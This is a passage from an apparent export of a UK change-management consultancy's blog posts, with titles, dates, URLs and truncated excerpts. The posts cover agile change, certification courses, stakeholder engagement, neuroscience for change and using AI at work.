uk/event/how-understanding-neuroscience-for-change-supports-change-sponsors/ Read this https://agilechangemanagement. co. uk/sponsorship-of-change Relationship building between project managers and change managers Building an alliance with project teams who are creating the deliverables that need to be adopted as new ways of working is a frequent problem area. Read this guidance on how to incorporate your behavioural change activities with project and delivery plans https://agilechangemanagement. co. uk/creating-an-integrated-project-and-change-management-plan/ Creating the resilience for change Use this checklist to identify the support package you need to create to ensure everyone impacted by your change has the... --- ### Exciting News – Agile Change Coach Certification Open To All > APMG International have such faith in the Agile Change Coach certification, they’ve asked for it to be available to their companies worldwide - Published: 2024-09-23 - Modified: 2025-06-09 - URL: https://agilechangemanagement.co.uk/exciting-news-agile-change-coach-certification-open-to-all/ - Categories: Company I am delighted to announce that APMG International has such faith in the Agile Change Coach certification that they have asked me to make it available to all their training companies around the world. I am currently working to develop materials for trainers so more courses can be hosted worldwide. What People Say About The Agile Change Coach Certification The feedback about this course has been brilliant, with so many of you getting immediate benefits from attending as you start using the techniques you are learning instantly. Most recent comments have included: This has simplified what I say – it has given me so much more confidence to write difficult emails because I know that I am saying things in a way that the brain will respond to I love understanding how the brain interprets change situations and the type of information the brain responds most positively to. This course has already improved my approach, and I am getting quicker responses from my colleagues. I feel cleverer for having taken this course. I love understanding how the brain works. After all, we all have a brain, so it makes sense to study the operating manual! For me, I am most proud of how this course is designed for and has benefited those who are not in formal change roles. https://youtube. com/shorts/ZR7Q_243Poo? si=8UcuyyKrQ9q73mvg This course is more than a project or change management course. It is a leadership development course. Why the Agile Change Coach Certification is Important We all experience... --- ### Relationship Between Change Managers and Project Managers > I asked a question about the relationship between Change Managers and Project Managers, & asked the group to share their experiences. - Published: 2024-09-16 - Modified: 2024-09-17 - URL: https://agilechangemanagement.co.uk/relationship-between-change-managers-and-project-managers/ - Categories: Company I recently posted a question in the Change Capability Community about the relationship between Change Managers and Project Managers, and asked the group to share their experiences. There were so many comments and contributions I have summarised the content here, as we know this is an important element of successful change. The discussion generated a variety of opinions and experiences regarding the relationship between project management (PM) and change management (CM), focusing on organisational challenges, roles, and the perceived value of CM. For practical guidance on how to address these issues, read this: Key Opinions and Themes Regarding the Relationship Between Change Managers and Project Managers Within the discussions there were several themes and opinions that came up: 1. Value of Change Management: Most participants express that Project Managers (PMs) do value Change Managers (CMs) and their work. There is a consensus that PMs recognise the importance of CM in ensuring the success of projects, particularly in managing the human side of change. 2. Organisational Challenges: A significant challenge highlighted is the organisational hierarchy where PMs are often placed above CMs, leading to a situation where PMs are judged primarily on time and cost, not necessarily on the quality or successful adoption of the change. There is a recurring theme that sponsors and senior leadership often do not fully understand or support CM. This lack of backing from leadership can lead to inadequate representation of CM in decision-making processes, which negatively impacts the success of the change. 3. PM Authority... --- ### Build your capability to include depth and breadth of knowledge > To be your most effective self you have to be able to switch between depth of knowledge and breadth of perspective. - Published: 2024-09-09 - Modified: 2024-09-09 - URL: https://agilechangemanagement.co.uk/build-your-capability-to-include-depth-and-breadth-of-knowledge/ - Categories: Company When I was first learning Agile techniques 20 years ago, one of the fundamentals of building a diverse team was a mixture of I-shaped and T-shaped people. “I-shaped professionals” take pride in the depth of their knowledge in their field of interest “T-shaped professionals” broaden their knowledge by incorporating different disciplines and different perspectives As agility has become mainstream, and there is much more cross functional collaboration, we have moved past the point of one or the other. To be your most effective self you have to be able to switch between depth of knowledge and breadth of perspective. Your specialist knowledge is important to help others develop their understanding of the situation and for you to identify whether ideas will work based on your detailed appreciation of processes, systems, customer needs etc The key is understanding when you need to use your specialist knowledge, and when you need to be curious about things you don’t know much about. This curiosity means asking lots of questions, which trigger thoughts and ideas in the experts. Ask open questions to generate information sharing from the experts and debate amongst everyone involved. Techniques like the “5 whys” add more detail with every question you ask. One of the reasons the Agile Change Coach course is so popular is because it gives you practical techniques that cover depth and breadth, so you have a ready-made toolkit of actions you can take depending on the situation you face. For example, if you are facing a... --- ### Relevance of Agile Change > I was recently asked about the importance of Agile Change, as I am the Chief Examiner for the Agile Change Agent & Coach certifications. - Published: 2024-09-02 - Modified: 2024-09-09 - URL: https://agilechangemanagement.co.uk/relevance-of-agile-change/ - Categories: Company As a thought-leader in change and transformation, I need clear answers about the future of the change profession, otherwise I am not delivering value during my podcasts and webinars. I was recently asked about the importance of Agile Change, as I am the Chief Examiner for the Agile Change Agent and Agile Change Coach certifications. As thousands of you have already taken or are booked to take these courses I thought you would appreciate this update. I recently gave a presentation where I explained how Agile Change is now a core contributor to best practice for change and transformation activities. For every challenge we face in trying to adopt new ways of working, the Agile Change approach comes up with an answer: Not enough time for change – work in small bursts using the Agile Change Roadmap People not feeling motivated to change – use the Benefits Dependency Network technique to identify benefits that drive their willingness to change Trying to change when everything else around us changes – break our change into smaller achievements and deliver one after the other, with time for feedback and decisions on what comes next Agile Change has evolved in the 10 years since the Agile Change Management Handbook was first published and updated in the 2nd edition I wrote in 2021. The greatest change is how agile change is now mainstream, referenced in so many aspects of growth, innovation, competitive advantage, new operating models, with agility accepted as a core leadership capability. McKinsey... --- ### The Importance of Agile Change in the Workplace > I was recently asked about the importance of Agile Change in the workplace. Here are my thoughts on the importance and the rate of change. - Published: 2024-08-27 - Modified: 2024-08-27 - URL: https://agilechangemanagement.co.uk/the-importance-of-agile-change-in-the-workplace/ - Categories: Company As a thought-leader in change and transformation, I need clear answers about the future of the change profession, otherwise I am not delivering value during my podcasts and webinars. I was recently asked about the importance of Agile Change in the workplace, as I am the Chief Examiner for the Agile Change Agent and Agile Change Coach certifications. As thousands of you have already taken or are booked to take these courses, I thought you would appreciate this update. Changes in Agile Change Over the Years Agile Change has evolved in the ten years since the Agile Change Management Handbook was first published and updated in the 2nd edition I wrote in 2021. The greatest change in agile change is how it is now mainstream in the workplace, referenced in so many aspects of growth, innovation, competitive advantage, and new operating models, with agility accepted as a core leadership capability. McKinsey Research in Agile Change in the Workplace McKinsey's research demonstrates the link between organisational agility and innovation. Key to this is the recognition that clearly defined processes for managing change are a vital "idea execution" ability. After all, it is no good having lots of innovation if these ideas cannot be brought to life. Ideas are in 2 parts: The creation of the tangible changes needed to make them happen – new systems, data, products and services The creation of new behaviours, routines, and processes that people follow to work differently. The Impact of the Pace of Change As... --- ### Important News About the Change Management Practitioner Certification > Important news about the change management certifications – there has been a change to the source text – see the impact here - Published: 2024-08-19 - Modified: 2024-08-19 - URL: https://agilechangemanagement.co.uk/important-news-about-the-change-management-practitioner-certification/ - Categories: Company There has been some changes to the Change Management Practitioner Certification. APMG International have changed the source text for the Change Management Foundation and Practitioner examinations, from the Effective Change Management Handbook to the Change Management Study Guide. This change has resulted in a reduction in the amount of reading by about 300 pages! What are the changes to the Change Management Certifications? I have spent the last week reading, re-reading and marking up the new text so I can share my conclusions with you. I take this work very seriously because I appreciate that getting a certification is a big stepping stone to your career development. I didn't want to communicate until I had a chance to complete a detailed analysis and create my own As Is and To Be model. These are my conclusions, they are my personal view, they might not reflect yours, but I know many of you respect my expertise in this area, so wanted to share my perspective. Why? - it has been 10 years since they launched this valuable and globally recognised Change Management qualification, so it was due for an update. Scope - the updates more closely match the Body of Knowledge from the Change Management Institute. I am not sure how valuable this is. It is useful to have the view of a professional body but to have a well-rounded view of the change profession, don't ignore the output from the Association for Change Management professionals, especially the standard, which is... --- ### What do you want from a training course? > What do you want from your training course? What are you looking for in a training course? Let me know your thoughts - Published: 2024-08-12 - Modified: 2024-08-13 - URL: https://agilechangemanagement.co.uk/what-do-you-want-from-a-training-course/ - Categories: Building Change Capability I recently had a terrible training experience. I booked an in-house course for my team after taking time to find someone we felt had lots of practical experience and real world knowledge. The course was meant to be a starting point for how we would integrate an IT platform into our processes. Obviously with my expertise we were already thinking of the behaviour changes we needed to make, not just the introduction of new procedures, standards, policies and measures of effectiveness. I took time to interview the trainer and believed we had a good understanding of the objectives. I didn't want someone who was going to read aloud from slides. I wanted up to date examples and an ability to answer our questions about how we would use the platform to enable us to work smarter. The trainer emailed me with a last minute substitution half an hour before the course started. The substitute had no chance to prepare or understand our needs. We were trapped as we had all rescheduled important events to attend and could not afford to waste the day. The training company didn't care that we were having a poor experience and their contempt for us as customers was truly awful. We tried to get the most out of the substitute, after all, it wasn't their fault. We tried to get follow up materials and we agreed we didn't need to keep taking notes as it was all recorded. That turned out to be a false... --- ### Integrating Change Management Practices > Integrating change management practices is one of the fundamental elements in successful organisational change. Find out more. - Published: 2024-08-05 - Modified: 2024-08-05 - URL: https://agilechangemanagement.co.uk/integrating-change-management-practices/ - Categories: Building Change Capability As a change professional, you will need to ensure that those creating the changes via project teams understand what you do and about integrating change management practices with their project plan. Integrating change management practices is one of the fundamental elements in successful organisational change. I have written a downloadable detailed description of how to create this integrated plan, but if you want to share the key learning points with busy project and program teams, I have provided some key points below. Tips for Integrating Change Management Practices Here are my top tips for integrating change management practices. 1. Recognising Change Activities: Underestimating the effort required for change leads to unrealistic expectations of available time for regular tasks. Accurate reporting of change-related work is crucial to avoid overloading employees and to provide a realistic view of organisational capacity for change. 2. Need for Honest Discussion: Transparent communication about the work involved in change initiatives is essential for realistic planning and support from senior management. 3. Integrated Project and Change Plans: Combining project and change management activities into one plan ensures coordination and mutual support between project teams and end users. Early involvement of users with prototypes helps shape new processes and ensures smoother transitions. 4. Difference Between Project Plan and Change Plan: Project Plan: Focuses on creating deliverables. Change Plan: Ensures the adoption of these deliverables, helping individuals transition from old to new ways of working. 5. Importance of Change Plans: Necessary for both waterfall and Agile projects to help... --- ### Essentials of Change Management > In this insight, I’ll be discussing the essentials for change management. this is a very large topic so contact me for more information. - Published: 2024-07-29 - Modified: 2024-07-29 - URL: https://agilechangemanagement.co.uk/essentials-of-change-management/ - Categories: Building Change Capability At Agile Change Management, I work with organisations to help give them the skills they need to lead their team through change. In this insight, I’ll be discussing the essentials for change management. I presented this webinar ‘A Quick Guide to the Basics of Change Management’ to explain the essentials of change management. It is a great resource to share with those that don’t know much about change. If your audience are short of time, I have summarised the key points below. Top 9 Essentials of Change Management As you can imagine, Change Management is a huge topic, and different elements will appeal to organisations in different industries. Here are my top 9 essentials of change management. Please contact me if you would like more information or want to discuss your organisation directly. 1. Definition of Change Management: Change Management encompasses all activities and behaviours enabling an organisation to transition from old to new ways of working. It applies to various organisational changes, including product launches, cultural shifts, process improvements, digital transformation, mergers/acquisitions, and location changes. 2. Relationship Between Project Management and Change Management: Project management focuses on creating tangible deliverables (new systems, processes, etc. ). Change management deals with behavioural change, requiring individuals to adopt new practices. Tangible outputs are not beneficial unless integrated into daily work, which is facilitated by change activities. 3. Duration of Change Management: Behavioural change is unpredictable and non-linear, varying among individuals. Productivity initially decreases as new practices are adopted. Productivity then rises as... --- ### Key Principles Agile Change Management > In this insight, I discuss the 7 key principles of agile change management. contact me today if you would like to book a course with me. - Published: 2024-07-22 - Modified: 2024-07-22 - URL: https://agilechangemanagement.co.uk/key-principles-agile-change-management/ - Categories: Building Change Capability Agile Change Management is a very complex topic. I wrote this paper ‘Introduction to Agile Change Management’ to share the basics of the topic and help people and businesses gain a better understanding. So many organisations are adopting an agile approach, so it is important that you have a perspective and can help others learn what Agile Change has to offer. If you don’t have time to read the full paper, I have provided the key principles of agile change management to get up to speed quickly. At Agile Change Management, I work with businesses in various capacities to help them achieve an agile working approach and to mentor them through change. My courses are available as an online self-paced study or as a live virtual classroom. Contact me today if you are interested in booking a course. 7 Key Principles of Agile Change Management Agile change management is a working method that can be adopted by any organisation planning a period of change. This could be for various reasons. Here are my top 7 key principles of agile change management: 1. Definition of Agile Change: Combines Agile principles with change management techniques. Integrates project activities to create tangible change with change activities that foster adoption and support. 2. Project and Change Activities: Tangible Change: Created by project teams and professionals focused on technical quality and timely delivery. Behavioural Change: Achieved by individuals adopting new habits and ways of working, often initially reducing productivity but increasing it over time as... --- ### Neurodiversity in the Workplace: Top Reasons for Applying Neuroscience to Your Work > Neurodiversity in the workplace is becoming more appreciated, and organisations are finding ways to apply neuroscience in their work. - Published: 2024-07-15 - Modified: 2024-07-15 - URL: https://agilechangemanagement.co.uk/neurodiversity-in-the-workplace-top-reasons-for-applying-neuroscience-to-your-work/ - Categories: Building Change Capability Neurodiversity in the workplace is becoming more appreciated, and organisations are finding ways to apply neuroscience in their work. If you want to increase your change management professionalism, make sure you up skill yourself in neuroscience, the study of how the brain works. We all have brains, but they may all work differently, so this knowledge helps you understand yourself and others around you. Once you have that understanding, you can begin applying neuroscience to your work and become more accepting of neurodiversity in the workplace. Why Should We Study Neurodiversity in the Workplace? Understanding neuroscience in the workplace can help your organisation be more accepting and, therefore, successful. In a world of artificial intelligence, we need to be able to assess how we behave and why we behave the way we do. This helps us to create more effective ways of collaborating and leading others. This is human intelligence that cannot easily be replaced by artificial intelligence, so building your knowledge of neuroscience in the future proves your value at work. 5 Reasons to Apply Neuroscience to Your Work Neurodiversity in the workplace is all about supporting each other and thriving as a company. Based on the feedback of those taking the Neuroscience for Change course, these are the top 5 reasons to apply neuroscience to your work: 1. Insight into Underlying Causes: Understanding how the brain processes information and takes decisions gives you deeper insights into the causes of issues rather than just addressing symptoms, enabling you to... --- ### Benefits of Change Management Training > One of the benefits of Change management training is the understanding you will gain of navigating change within the workplace. Find out more - Published: 2024-07-08 - Modified: 2024-07-08 - URL: https://agilechangemanagement.co.uk/benefits-of-change-management-training/ - Categories: Building Change Capability As a Change Management Specialist, I can provide change management training to help organisations and individuals prepare for change within their businesses. The overall goal is to allow your employees to thrive in a changing environment. What is Change Management Training? Change management training will help you understand and navigate change within the workplace. It will also help you and other employees embrace and accept long-term change rather than fight the alterations that happen when an organisation grows or implements any type of change. You can boost motivation and encourage your employees to flourish with change management training. Top Benefits of Change Management Training I regularly run live, virtual change management training courses. During my last session, I gathered some interesting insights and feedback from those in attendance. I asked them to share what they saw as the benefits of obtaining a change management qualification and enhancing their change management skills. They came up with 12 benefits, which make an excellent business case for why your manager should approve your application for change management training! Increased Employability: Gaining a qualification whilst working demonstrates competence and can boost confidence during challenging times. Impactful Work Contribution: Being part of meaningful workplace changes and leaving a legacy of successful projects enhances professional profile. Enhanced Leadership: Improved knowledge and experience within business make one more persuasive and credible, enabling better guidance for others. Personal Development: Training whilst working opens up new opportunities, increases credibility with stakeholders, and broadens career prospects. Empathy and Understanding: Gaining... --- ### Choosing a Change Management Course > When it comes to choosing a change management course, it can be difficult to know which course to choose. Find out the differences here - Published: 2024-07-05 - Modified: 2025-06-09 - URL: https://agilechangemanagement.co.uk/choosing-a-change-management-course/ - Categories: Change management profession When it comes to choosing a change management course, there are different options to choose from. In this insight, we have describe the differences and how they align with each other. Agile Change Agent, Agile Change Coach, and Neuroscience for Change are interconnected and complement each other. The sources of information for these courses are: Difference Between Our Change Management Courses To help you with choosing a change management course, here's a detailed explanation of each change management course and how they align: Agile Change Agent Course: Focus: This course is designed to lay out the roadmap for managing change in an agile environment, emphasizing continuous and iterative change (wave after wave). Link: It sets the foundation by helping individuals understand the framework and benefits of agile change, preparing them for more specialized knowledge in change management and neuroscience. Agile Change Coach Course: Focus: This course builds on the Agile Change Agent course by offering practical techniques for implementing agile change in real-world scenarios. It focuses on coaching others through change using agile principles. Link: It provides advanced skills and tools that are brain-smart, meaning they align with how the brain works best in managing change. This course deepens the practical application of agile change concepts introduced in the Agile Change Agent course. Neuroscience for Change Course: Focus: This course delves into the neuroscience behind change, explaining how the brain perceives and reacts to change, particularly the concepts of threat and reward. Link: It provides the scientific underpinning for the... --- ### Top 5 Benefits of Agile Change Management > Take a look at the highlights from my webinar on the benefits of Agile Change Management. This webinar was very popular and still is today - Published: 2024-07-01 - Modified: 2025-06-09 - URL: https://agilechangemanagement.co.uk/top-5-benefits-of-agile-change-management/ - Categories: Building Change Capability As part of my work, I conduct several webinars each year around various topics related to the benefits of agile change management in organisations. These webinars are free to attend and are recorded and released on to YouTube to help anyone who would like to learn more about the benefits of Agile Change Management. Through APMG, I have conducted a webinar about the benefits of Agile Change Management and why you should be investigating it for your organisation. This webinar was so popular that I wanted to share some highlights, especially since we are all so busy and may not have the time to watch an hour-long video. Top 5 Benefits of Agile Change Management I have highlighted the top 5 practical benefits of using the Agile change management approach in any organisation. 1. More Effective Use of Time: Agile Change Management helps identify and eliminate wasteful activities. By focusing on delivering small, incremental changes, teams can ensure that resources are used effectively and projects are completed more efficiently. Agile change management practices help streamline workflows by breaking down projects into manageable chunks. Working in short bursts makes it easy to see when time is wasted through unnecessary steps or duplication of work by team members. By keeping each iteration short, it is easier to spot problems and fix them “in the moment” so they don’t cause more problems, and the fix takes less time and effort. 2. Increase the Flexibility and Adaptability of your Organisation: Another benefit of Agile... --- ### Agile Planning Techniques: Start using the best technique for business > If you’re embarking on organisational change in your business then Agile Planning Techniques are imperative for your success. - Published: 2024-06-24 - Modified: 2024-06-28 - URL: https://agilechangemanagement.co.uk/agile-planning-techniques-start-using-the-best-technique-for-business/ - Categories: Building Change Capability Agile planning techniques are imperative to a successful business, and here's why; Your ability to plan anything – the implementation of a new system, the restructuring of a team, the launch of a new product or service – these things are all key to your career success. It doesn't matter what your role is within an organisation; learning agile planning techniques is crucial for your success. If you cannot plan, then you cannot organise your thoughts. And if you are unable to organise your thoughts, then you will be told what to do because you haven't worked out for yourself what needs doing. Agile Planning Techniques – Roadmap for Success When it comes to agile planning techniques, I have developed The Agile Change roadmap described in this video. This is a great project management technique, which can be used for individual projects, programmes of multiple projects and for planning a change project, to organise all the steps to shift to a new way of working. The idea of the Agile Change roadmap is that you can take any change initiative and break it down from the initial idea into all of the component parts. You can then work through the steps and know when the change is complete. This agile planning technique also prompts you to think about what you can expect at the end of this change and what results you are aiming for. Why use a Roadmap as an Agile Planning Technique? For all different types of organisation... --- ### Using Agile Change techniques to work smarter, not harder > In my recent webinar, I provided a training session on techniques to work smarter not harder; to help us cope with our overwhelming workload - Published: 2024-06-17 - Modified: 2024-06-17 - URL: https://agilechangemanagement.co.uk/using-agile-change-techniques-to-work-smarter-not-harder/ - Categories: Building Change Capability In my recent webinar, I provided a mini-training session on techniques to work smarter not harder; to help us cope with our overwhelming workloads. We are all so busy, under so much pressure to get things done. We need techniques that help us use the least energy for the greatest return on our effort. Top techniques to work smarter not harder Here is the summary of techniques to work smarter not harder. Working in short bursts: Chunking Work: Breaking down tasks into smaller, manageable pieces to reduce overwhelm and increase focus. Iterative Approach: Breaking work into iterations or increments to make it manageable and maintain focus. Using visual tools: Visual Representation: Using visuals to reduce cognitive load and make processing information easier. Kanban Prioritisation: Using visual boards to track tasks and progress (e. g. , To Do, Doing, Done). Roadmap Structure: Creating a roadmap to visualise and plan the journey, providing certainty and a step-by-step approach. Using neuroscience to work in a brain friendly way Understanding Brain States: Recognising how the brain reacts to stress (threat state) and positive stimuli (reward state) to optimise performance. Creating Positive Emotions: Techniques to trigger positive brain chemicals like dopamine (achievements), endorphins (feel-good chemicals), and oxytocin (trust and bonding). Recognising achievements: Benefits Hunting: Focusing on the most valuable tasks and regularly reflecting on progress to maintain motivation and direction. Celebration and Reflection: Taking time to celebrate achievements and reflect on what has been learned to reinforce positive experiences and continuous improvement. Quality Criteria and... --- ### Techniques for increasing your stakeholder engagement > I recently delivered a webinar about techniques for increasing your stakeholder engagement. Find out about the techniques discussed here. - Published: 2024-06-10 - Modified: 2024-06-10 - URL: https://agilechangemanagement.co.uk/techniques-for-increasing-your-stakeholder-engagement/ - Categories: Building Change Capability I recently delivered a webinar about techniques for increasing your stakeholder engagement. In this webinar I hosted a mini training event, using techniques based on the latest learning from neuroscience to improve communication with stakeholders. We need ways to communicate that generate an immediate, visceral response, triggering our stakeholders to take action and participate in our projects, programmes and business changes. Techniques for Increasing Stakeholder Engagement Here is the summary of these techniques: Focus on Immediate Actions: Certainty: The brain loves certainty, so emphasize clear, immediate steps rather than distant future possibilities. This prevents mental overload and helps maintain focus and energy. Relevance and Engagement: Communicate what needs to be done now, provide context for why it's important, but avoid overwhelming details about future steps. Brevity: Keep messages concise to avoid overwhelming the brain, which discards overly complex or lengthy communications. Clear and concise communication: Use of Visuals: Visuals are easier for the brain to process compared to text, reducing cognitive load and minimizing misinterpretations. Context and Connection: Use visuals to show how tasks fit into the bigger picture, making the information more relevant and easier to understand. Respecting Mental Energy: Simplified Information: Avoid giving too many messages at once, as the brain distributes attention evenly across all information presented. Prioritize the most critical information. Autonomy and Empowerment: Provide partially completed ideas or plans to invite contributions, respecting the expertise and autonomy of the audience. Managing Expectations: Positive Mismatch: Highlight unexpected gains to keep the brain engaged and open to... --- ### Benefits of the Agile Change Coach Course > The Agile Change Coach course has many benefits. Read to find out more and listen to what some of our recent delegates have to say! - Published: 2024-06-07 - Modified: 2025-06-09 - URL: https://agilechangemanagement.co.uk/benefits-of-the-agile-change-coach-course/ - Categories: Roles in change management The benefits of the Agile Change Coach course, as shared by participants, include: Reinvigoration and Motivation: Alison mentioned that the course reignited her passion for change and provided her with self-care techniques to maintain resilience and motivation. Emotional Support Tools: Monica appreciated the new tools and tips for addressing the emotional aspects of change, which she found tricky to handle before. Tactical Tools and Networking: Ashley highlighted gaining practical tools and techniques to use in her work, as well as building a valuable professional network. Toolbox for Everyday Use: Phillida emphasized gaining a comprehensive set of tools for both project-based and everyday scenarios, along with increased confidence and enthusiasm for agile change management. People-Centric Approach: Raylene found the focus on putting people at the center of change particularly inspiring, as it is often overlooked. Role Reframing and Practical Steps: Jenny, new to change management, found the course helpful in rethinking her role and provided her with practical steps for her projects. Confidence and Shared Experiences: Marianne appreciated the confidence to have conversations about change and valued the shared experiences and stories from other participants. Understanding of Change Management: Sabrina, from an IT change background, gained a better understanding of change management from a people perspective, with tips and techniques to influence success. Comprehensive Lifecycle Understanding: Alex found it useful to see the integration of behavioral and tangible aspects of change, along with practical tools and techniques. Convincing Leadership: Shreena valued learning how to use tools to communicate the importance of... --- ### Quality criteria for an excellent training course > I’ve collected feedback from 15 of my most recent courses to summarise quality criteria for an excellent training course - Published: 2024-06-03 - Modified: 2024-06-10 - URL: https://agilechangemanagement.co.uk/quality-criteria-for-an-excellent-training-course/ - Categories: Building Change Capability I run training courses regularly, these span from 1-hour webinars to full courses delivered over multiple days. Over the years I’ve learnt what works well for me as the training provider, as well as listened to feedback from the attendees to create this list of quality criteria for an excellent training course. Quality criteria for an excellent training course If you are selecting a training course for your workplace, it’s important that you get what you need out of it. I like to make sure I am always delivering top quality, effective training courses and to do this I am constantly learning from my attendees. At the end of my training courses, I ask attendees to share their feedback. I have collected feedback from 15 of my most recent courses to summarise quality criteria for an excellent training course and learning experience for all: Expert Knowledge and Recall: The trainer's deep knowledge and ability to recall models and specific details enhances the learning experience. Practical Application: The course provides practical actions, real-life examples, and communication strategies that can be applied beyond the theoretical knowledge. Engaging and Enjoyable: The course is structured to be fun and entertaining, making it easier to absorb a large amount of material. Structured and Comprehensive: Despite the vast content, the course is well-organised, making complex theories and models easy to understand and remember. Interactive and Collaborative: Breakout sessions and group activities promote interaction, allowing participants to share experiences and learn from each other. Confidence Building: The... --- ### Utilising AI for Tasks at Work > I’m on a mission when it comes to utilising AI for tasks at work. Part of teaching myself about AI is attendance at lots of webinars. - Published: 2024-05-28 - Modified: 2024-06-03 - URL: https://agilechangemanagement.co.uk/utilising-ai-for-tasks-at-work/ - Categories: Impact of AI on business change and transformation I’m on a mission when it comes to utilising AI for tasks at work. Part of teaching myself about AI is attendance at lots of webinars. The other night after a long day, I tuned in to a session from Microsoft. They were explaining their copilot tool and as all the features washed over me (too tired to take in the details), one comment caught my attention “Think about AI first when you are doing a task”. I think it resonated with me because any change in behaviour benefits from immersion. Including AI in how I think about my work is more likely to make me use AI, and of course, the more I use it, the more I learn, the more confident I become, the more I like it, the more I want to use it – the virtuous circle. Another reason that comment stayed with me is because it aligns to the models for cultural change, which start with the core belief. Next comes the processes we follow, and then making the behaviour visible to everyone. Copyright © Capability for Change Limited 2024 Utilising AI for Tasks at Work Thinking about how additional not artificial intelligence fits into what you are trying to achieve increases the probability that you will have a go – here are a few of my examples to get you thinking about how to include AI in your work: Takes large volumes of data into useful summaries – it is now a standard practice... --- ### Impact Assessments: Using AI for Tracking Progress of Change > Tracking the progress of change means using data as well as assessing how people feel. How can we use AI for tracking the process of change? - Published: 2024-05-20 - Modified: 2024-05-20 - URL: https://agilechangemanagement.co.uk/impact-assessments-using-ai-for-tracking-progress-of-change/ - Categories: Impact of AI on business change and transformation Tracking the progress of change means assessing how people are feeling. How can we use AI for tracking the process of change? Impact assessments are an important part of the change management process. Ensuring process are running smoothly post change is as important as the change itself. Measures for Tracking Change When tracking change there are various elements to include; Project Data Measures When we track the progress of project outputs, we can measure objective data including financial benefits and efficiency gains. We have existing data to compare with the results post launch. Because of the existing data and the quantitive nature of this data, the comparison is relatively straight forward which makes tracking progress of change simple. Behavioural Change Measures With behavioural change, the evidence that change has taken place is subjective. Each of us must decide we are going to try a new way of working. As we practice, we learn how to do things, and this knowledge builds our confidence. This motivates us to keep going. The challenge is that we don't have baseline information about our feelings before we started the change, so we have nothing to measure our progress against. Measuring how we feel can be interpreted as intrusive. But... if we don't track these increases in confidence and motivation for change, how can we evidence we are making progress? We can ask for people to share their stories and gather subjective information about people's experiences of change. One of the problems is how we... --- ### How Will AI Affect How We Work? > We all know AI is growing – it’s everywhere. In this insight, we will consider how AI will affect how we work and what we can do about it. - Published: 2024-05-13 - Modified: 2024-05-13 - URL: https://agilechangemanagement.co.uk/how-will-ai-affect-how-we-work/ - Categories: Impact of AI on business change and transformation We all know AI is growing – it’s everywhere. In this insight, we will consider how AI will affect how we work and what we can do about it. How we consider AI within business I attended an amazing masterclass about AI this week. It triggered so many ideas that it took me an hour to write them all down. I have put time in my schedule over the next week to complete the actions, many of which are experiments to learn more. One thing struck me, though, when the presenters were talking about the four different categories of reaction to AI: This is hype, and it will go away I have tried it, but I am not getting useful results This has potential This is going to be big and will change the world Of course, none of us really know what is going to happen, but over the last couple of months, I have been moving towards category 4. However, part of my role as CEO of Capability for Change is to explain my thinking so others can understand why I feel as I do, what my sources of information are, and what experiences I have had. Techniques for Predicting How AI will affect how we work This made me realise that a technique I use in some of my workshops will be increasingly useful when considering how AI will affect our work. Many of you have heard of the As Is and To Be model – where... --- ### Effective Management of Admin Tasks - Rules are the new normal! > This week I’ve had a break-through when it comes to effective management of admin tasks. AI has shifted my thinking & I’m working in new ways - Published: 2024-05-07 - Modified: 2024-06-28 - URL: https://agilechangemanagement.co.uk/effective-management-of-admin-tasks-rules-are-the-new-normal/ - Categories: Impact of AI on business change and transformation This week I have had a break-through when it comes to effective management of admin tasks. Something has shifted in my thinking, and I am no longer seeing myself as someone who isn’t technical. I think what has triggered this shift is the amount of time I spend thinking about how to effectively use AI, a lot of which involves the creation of rules i. e. the intelligence that AI needs to operate. I write this blog to inspire you to think about changing how you work, as we adapt to a world where AI is becoming the norm. Here are two examples of how I’m using effective management of admin tasks and how this is changing the way I work: Effective Management of Emails Discussions with many in my network about effective management of emails and the overload we all received led me to explore the rules available in Outlook. I then started reading blog posts and articles from others who have created their own short-cuts. Previously, I dismissed these ideas as too much bother, and also because I was a little intimidated as I wasn’t sure how they worked. With so much time spent with clients establishing rules and logic for how to do things, I have felt empowered to give it a go. Before, I just left everything in my Inbox, but now I have a series of rules that mean emails from special interest groups automatically go into my Ideas folder. Emails from suppliers go into... --- ### Programming AI: Putting the Intelligence into Artificial Intelligence > Something which is rarely understood or even considered, is programming AI and where the intelligence comes from. - Published: 2024-04-29 - Modified: 2024-04-30 - URL: https://agilechangemanagement.co.uk/putting-the-intelligence-into-artificial-intelligence/ - Categories: Impact of AI on business change and transformation Are there costs involved in Programming AI? Something which is rarely understood or even considered, is programming AI and where the intelligence comes from. I have just finished a planning meeting for a transformation that will use AI to automate lots of data entry processes. What struck me was the lack of recognition of the time needed to teach the software how to process the transactions; putting the intelligence into artificial intelligence. There was a presentation that explained how little human interaction would be needed to complete a customer order, and how this would drive efficiency. What was missing was the effort required at the front end of the transformation to understand the current processing logic. Without this understanding, the rules for AI to follow (or improve upon) cannot be known. I was very frustrated to find that the cost of working with staff to understand and capture this logic for standard and exceptional items had not been factored into the business case. The business case describes the difference between current and future cost per transaction, so the benefits are very clear. But they are not truly reflective of what will happen on this transformation because the activities and the resource costs of teaching the AI to be intelligent have been ignored. Programming AI: Teaching AI to be intelligent Having run a number of workshops for these types of transformation, what works well is to treat AI as a colleague! Effectively we must onboard our new colleague with an understanding... --- ### Skill Set and AI: Curiosity is the Most Important Skill > This led me to thinking about skill set & AI and to review the skills we need in a culture where humans work alongside intelligent machines. - Published: 2024-04-22 - Modified: 2024-04-22 - URL: https://agilechangemanagement.co.uk/skill-set-and-ai-curiosity-is-the-most-important-skill/ - Categories: Impact of AI on business change and transformation In my previous blog, I talked about the importance of emotional intelligence and its importance in effective leadership. This led me to thinking about skill set and AI and to review the skills we need in a culture where humans work alongside intelligent machines. My starting point for any skills assessment is the list of skills needed at work, identified by the World Economic Forum at the start of the decade. Will skills for 2030 change as a result of the AI revolution? Skills Required Now This is their list of skills: Analytical thinking and innovation Active learning and learning strategies Complex problem solving Critical thinking and analysis Creativity, originality and initiative Leadership and social influence Technology use, monitoring and control Technology design and programming Resilience, stress tolerance and flexibility Reasoning, problem solving and ideation Skill-Sets and AI: How Things are Changing These skills are wide-ranging categories of abilities. To be able to better understand the impact of AI, I think we need to step back and take a view about the role of humans in a workplace using AI. I know many people who are pessimistic about the impact of AI, but I take a more optimistic view, that AI is something we can control and decide how to use. To do this, we need to think, we need to imagine potential futures, we need to be flexible and versatile enough to challenge our assumptions and re-imagine what is possible. If we can do this, we can direct artificial... --- ### Digital Transformations: Build a culture to balance humans and machines > The next wave of digital transformation is now upon us, with the need to adopt new AI tools, there are different thoughts about the impact. - Published: 2024-04-15 - Modified: 2025-06-09 - URL: https://agilechangemanagement.co.uk/digital-transformations-build-a-culture-to-balance-humans-and-machines/ - 